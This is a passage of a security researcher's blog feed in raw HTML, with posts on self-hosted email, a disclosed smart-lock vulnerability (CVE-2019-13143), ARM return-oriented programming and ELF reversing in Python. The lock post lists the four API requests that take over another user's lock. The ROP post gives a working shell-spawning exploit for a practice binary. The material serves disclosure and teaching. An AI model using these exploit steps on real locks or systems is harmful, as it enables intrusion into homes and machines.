l-Scalar-Plain">mailstate:/var/mail-state</span> <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span> <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span> <span class="nn">...</span> </code></pre></div> <p>With this done, you shouldn’t have mail clients complaining about wonky certs for which you’ll have to add an exception manually.</p> <h3 id="why-would-you">Why would you…?</h3> <p>There are a few good reasons for this:</p> <h4 id="privacy">Privacy</h4> <p>No really, this is <em>the</em> best choice for truly private email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p> <blockquote> <p>Truly secure systems do not require you to trust the service provider.</p> </blockquote> <p>But you have to <em>trust</em> ProtonMail. They run open source software, but how can you really be sure that it isn’t a backdoored version of it?</p> <p>When you host your own mailserver, you truly own your email without having to rely on any third-party. This isn’t an attempt to spread FUD. In the end, it all depends on your threat model™.</p> <h4 id="decentralization">Decentralization</h4> <p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em> active users. That’s obscene. Email was designed to be decentralized but big corps swooped in and made it a product. They now control your data, and it isn’t unknown that Google reads your mail. This again loops back to my previous point, privacy. Decentralization guarantees privacy. When you control your mail, you subsequently control who reads it.</p> <h4 id="personalization">Personalization</h4> <p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p> <p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p> <p>Pfft, this is no competition.</p> <div class="footnotes"> <hr /> <ol> <li id="fn-1"> <p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> </li> <li id="fn-2"> <p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p> </li> <li id="fn-3"> <p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p> </li> </ol> </div> ]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p> <h3 id="the-lock">The lock</h3> <p>The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands across many ecommerce sites, and has over, an estimated, 15k+ users.</p> <p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.</p> <p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) and the Android app.</p> <h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3> <p>Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made around 4 “unlocks” from the Android phone, as seen in the screenshot.</p> <p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p> <p>This is the value sent in the <code>Write</code> request:</p> <p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p> <p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>, but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p> <h3 id="via-the-android-app">Via the Android app</h3> <p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too far since most of it was obfuscated. Why bother when there exists an easier approach – BurpSuite.</p> <p>We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.</p> <h3 id="the-exploit">The exploit</h3> <p>The entire exploit is a 4 step process consisting of authenticated HTTP requests:</p> <ol> <li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the vicinity), get the barcode and lock ID</li> <li>Using the barcode, fetch the user ID</li> <li>Using the lock ID and user ID, unbind the user from the lock</li> <li>Provide a new name, attacker’s user ID and the MAC to bind the attacker to the lock</li> </ol> <p>This is what it looks like, in essence (personal info redacted).</p> <h4 id="request-1">Request 1</h4> <pre><code>POST /oklock/lock/queryDevice {"mac":"XX:XX:XX:XX:XX:XX"} </code></pre> <p>Response:</p> <pre><code>{ "result":{ "alarm":0, "barcode":"<BARCODE>", "chipType":"1", "createAt":"2019-05-14 09:32:23.0", "deviceId":"", "electricity":"95", "firmwareVersion":"2.3", "gsmVersion":"", "id":<LOCK ID>, "isLock":0, "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", "lockPwd":"000000", "mac":"XX:XX:XX:XX:XX:XX", "name":"lock", "radioName":"BlueFPL", "type":0 }, "status":"2000" } </code></pre> <h4 id="request-2">Request 2</h4> <pre><code>POST /oklock/lock/getDeviceInfo {"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"} </code></pre> <p>Response:</p> <pre><code> "result":{ "account":"email@some.website", "alarm":0, "barcode":"<BARCODE>", "chipType":"1", "createAt":"2019-05-14 09:32:23.0", "deviceId":"", "electricity":"95", "firmwareVersion":"2.3", "gsmVersion":"", "id":<LOCK ID>, "isLock":0, "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", "lockPwd":"000000", "mac":"XX:XX:XX:XX:XX:XX", "name":"lock", "radioName":"BlueFPL", "type":0, "userId":<USER ID> } </code></pre> <h4 id="request-3">Request 3</h4> <pre><code>POST /oklock/lock/unbind {"lockId":"<LOCK ID>","userId":<USER ID>} </code></pre> <h4 id="request-4">Request 4</h4> <pre><code>POST /oklock/lock/bind {"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"} </code></pre> <h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3> <p>You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to their lock. They can’t even “rebind” to get it back, since the current owner (the attacker) needs to authorize that. </p> <p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named “carlock”, “garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p> <p><em>shudders</em></p> <h3 id="proof-of-concept">Proof of Concept</h3> <p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p> <p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p> <h3 id="disclosure-timeline">Disclosure timeline</h3> <ul> <li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li> <li><strong>27th June, 2019</strong>: Vendor notified about the issue</li> <li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li> <li>No response from vendor</li> <li><strong>2nd August 2019</strong>: Public disclosure</li> </ul> <h3 id="lessons-learnt">Lessons learnt</h3> <p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones with keys. With the IoT plague spreading, it brings in a large attack surface to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p> <p>The IoT security scene is rife with bugs from over 10 years ago, like executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development practices in general.</p> <p>Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing field for cyber warfare and mass surveillance campaigns. </p> <h3 id="researcher-info">Researcher info</h3> <p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p> <ul> <li>Anirudh Oppiliappan (me)</li> <li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li> <li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li> </ul> <div class="footnotes"> <hr /> <ol> <li id="fn-1"> <p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> </li> <li id="fn-2"> <p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p> </li> <li id="fn-3"> <p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p> </li> </ol> </div> ]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM assembly to follow along. I highly recommend <a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly Basics</a>. Once you’re comfortable with it, proceed with the next bit — environment setup.</p> <h3 id="setup">Setup</h3> <p>Since we’re working with the ARM architecture, there are two options to go forth with: </p> <ol> <li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>. The scripts found inside should be self-explanatory.</li> <li>Use actual ARM hardware, like an RPi.</li> </ol> <p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you may use <code>radare2</code>, IDA or anything else, really. All of which can be trivially installed.</p> <p>And for the sake of simplicity, disable ASLR:</p> <div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space </code></pre></div> <p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a> <a href="/static/files/roplevel2.c">roplevel2</a>. </p> <p>Compile it:</p> <div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2 </code></pre></div> <p>With that out of the way, here’s a quick run down of what ROP actually is.</p> <h3 id="a-primer-on-rop">A primer on ROP</h3> <p>ROP or Return Oriented Programming is a modern exploitation technique that’s used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>. In essence, no code in the binary is actually modified and the entire exploit is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p> <p>A gadget is essentially a small sequence of code (instructions), ending with a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>. These gadgets are <em>chained</em> together by jumping (returning) from one onto the other to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain, there’s generally a call to <code>system()</code>, to acheive code execution.</p> <p>In practice, the process of executing a ropchain is something like this:</p> <ul> <li>confirm the existence of a stack-based buffer overflow</li> <li>identify the offset at which the instruction pointer gets overwritten</li> <li>locate the addresses of the gadgets you wish to use</li> <li>craft your input keeping in mind the stack’s layout, and chain the addresses of your gadgets</li> </ul> <p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”. Check it out, it might be just what you needed for that “aha!” moment :)</p> <p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully that should put things into perspective.</p> <h3 id="exploring-our-binary">Exploring our binary</h3> <p>Start by running it, and entering any arbitrary string. On entering a fairly large string, say, “A” × 20, we see a segmentation fault occur.</p> <p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p> <p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p> <p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p> <p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and <code>gadget</code>. Disassembling the <code>main</code> function:</p> <p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p> <p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are never actually called.</p> <p>Disassembling the <code>gadget</code> function:</p> <p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p> <p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>, which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code> instruction in the middle. This is a <strong>gadget</strong>.</p> <p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code> are used for this. So this gadget effectively allows us to pass arguments to functions using <code>r0</code>, and subsequently jumping to them by passing its address in <code>pc</code>. Neat.</p> <p>Moving on to the disassembly of the <code>winner</code> function:</p> <p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p> <p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>. So our end goal here is to, quite obviously, execute code via the <code>system()</code> function.</p> <p>Now that we have an overview of what’s in the binary, let’s formulate a method of exploitation by messing around with inputs.</p> <h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3> <p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the screenshot.</p> <p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p> <p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice the <code>pc</code> has been overwritten with our input. So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p> <p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now control program execution flow. Let’s try jumping to the <code>winner</code> function.</p> <p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset of the second instruction — <code>add r11, sp, #4</code>. For this, we’ll use Python to print our input string replacing <code>FFFF</code> with the address of <code>winner</code>. Note the endianness.</p> <div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2 </code></pre></div> <p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p> <p>The reason we don’t jump to the first instruction is because we want to control the stack ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code> those out after <code>winner</code> is done executing and we will no longer control where it jumps to.</p> <p>So that didn’t do much, just prints out a string “Nothing much here…”. But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument to do what we want (run a command, execute a shell, etc.).</p> <p>To do that, we’ll follow a multi-step process: </p> <ol> <li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li> <li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into <code>r0</code>.</li> <li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li> </ol> <p>The pseudo-code is something like this:</p> <pre><code>string = AAAABBBBCCCCDDDDEEEE gadget = # addr of gadget binsh = # addr of /bin/sh system = # addr of system() print(string + gadget + binsh + system) </code></pre> <p>Clean and mean.</p> <h3 id="the-exploit">The exploit</h3> <p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.</p> <p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p> <pre><code>(gdb) find &system, +9999999, "/bin/sh" </code></pre> <p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p> <p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be found from the disassmblies from earlier. Here’s the final exploit code:</p> <div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span> <span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span> <span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span> <span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span> <span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span> </code></pre></div> <p>Honestly, not too far off from our pseudo-code :)</p> <p>Let’s see it in action:</p> <p><img src="/static/img/the_shell.png" alt="the shell!" /></p> <p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates when the pipe closes, since there’s no input coming in from STDIN. To get around this, we use <code>cat(1)</code> which allows us to relay input through it to the shell. Nifty trick.</p> <h3 id="conclusion">Conclusion</h3> <p>This was a fairly basic challenge, with everything laid out conveniently. Actual ropchaining is a little more involved, with a lot more gadgets to be chained to acheive code execution.</p> <p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p> ]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3> <p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, 8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p> <p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p> <p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p> <p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p> <p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. Great pair of headphones, although the ear cups need replacing.</p> <h3 id="and-the-software">And the software</h3> <p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric window manager, all riced. I now use whatever JustWorks™.</del></p> <p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install, running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p> <p>Here’s a (riced) screenshot of my desktop. </p> <p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p> <p>Most of my work is done in either the browser, or the terminal. My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>. My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above. I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p> <p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace clean and a single command to drop into a Kali shell.</p> <p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>. The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p> <p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p> ]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p> <p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p> <h3 id="setup">Setup</h3> <p>As the title suggests, you’re going to need a Python 3 interpreter before anything else. Once you’ve confirmed beyond reasonable doubt that you do, in fact, have a Python 3 interpreter installed on your system, run</p> <div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools </code></pre></div> <p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p> <p>With that out of the way, let’s start with an example of a basic reversing challenge.</p> <div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span> <span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span> <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span> <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span> <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span> <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div> <p>Compile it with GCC/Clang:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf </code></pre></div> <h3 id="scripting">Scripting</h3> <p>For starters, let’s look at the different sections present in the binary.</p> <div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span> <span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span> <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span> </code></pre></div> <p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p> <div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span> <span class="go">0x238 .interp</span> <span class="go">0x254 .note.ABI-tag</span> <span class="go">0x274 .note.gnu.build-id</span> <span class="go">0x298 .gnu.hash</span> <span class="go">0x2c0 .dynsym</span> <span class="go">0x3e0 .dynstr</span> <span class="go">0x484 .gnu.version</span> <span class="go">0x4a0 .gnu.version_r</span> <span class="go">0x4c0 .rela.dyn</span> <span class="go">0x598 .rela.plt</span> <span class="go">0x610 .init</span> <span class="go">0x630 .plt</span> <span class="go">0x690 .plt.got</span> <span class="go">0x6a0 .text</span> <span class="go">0x8f4 .fini</span> <span class="go">0x900 .rodata</span> <span class="go">0x924 .eh_frame_hdr</span> <span class="go">0x960 .eh_frame</span> <span class="go">0x200d98 .init_array</span> <span class="go">0x200da0 .fini_array</span> <span class="go">0x200da8 .dynamic</span> <span class="go">0x200f98 .got</span> <span class="go">0x201000 .data</span> <span class="go">0x201010 .bss</span> <span class="go">0x0 .comment</span> <span class="go">0x0 .symtab</span> <span class="go">0x0 .strtab</span> <span class="go">0x0 .shstrtab</span> </code></pre></div> <p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p> <p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p> <div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span> <span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> <span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span> <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span> <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span> <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span> </code></pre></div> <p>The code is fairly straightforward (I think). We should be seeing this, on running</p> <div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span> <span class="go">0x6a0: xor ebp, ebp</span> <span class="go">0x6a2: mov r9, rdx</span> <span class="go">0x6a5: pop rsi</span> <span class="go">0x6a6: mov rdx, rsp</span> <span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span> <span class="go">0x6ad: push rax</span> <span class="go">0x6ae: push rsp</span> <span class="go">0x6af: lea r8, [rip + 0x23a]</span> <span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span> <span class="go">0x6bd: lea rdi, [rip + 0xe6]</span> <span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span> <span class="go">0x6ca: hlt</span> <span class="go">... snip ...</span> </code></pre></div> <p>The line in bold is fairly interesting to 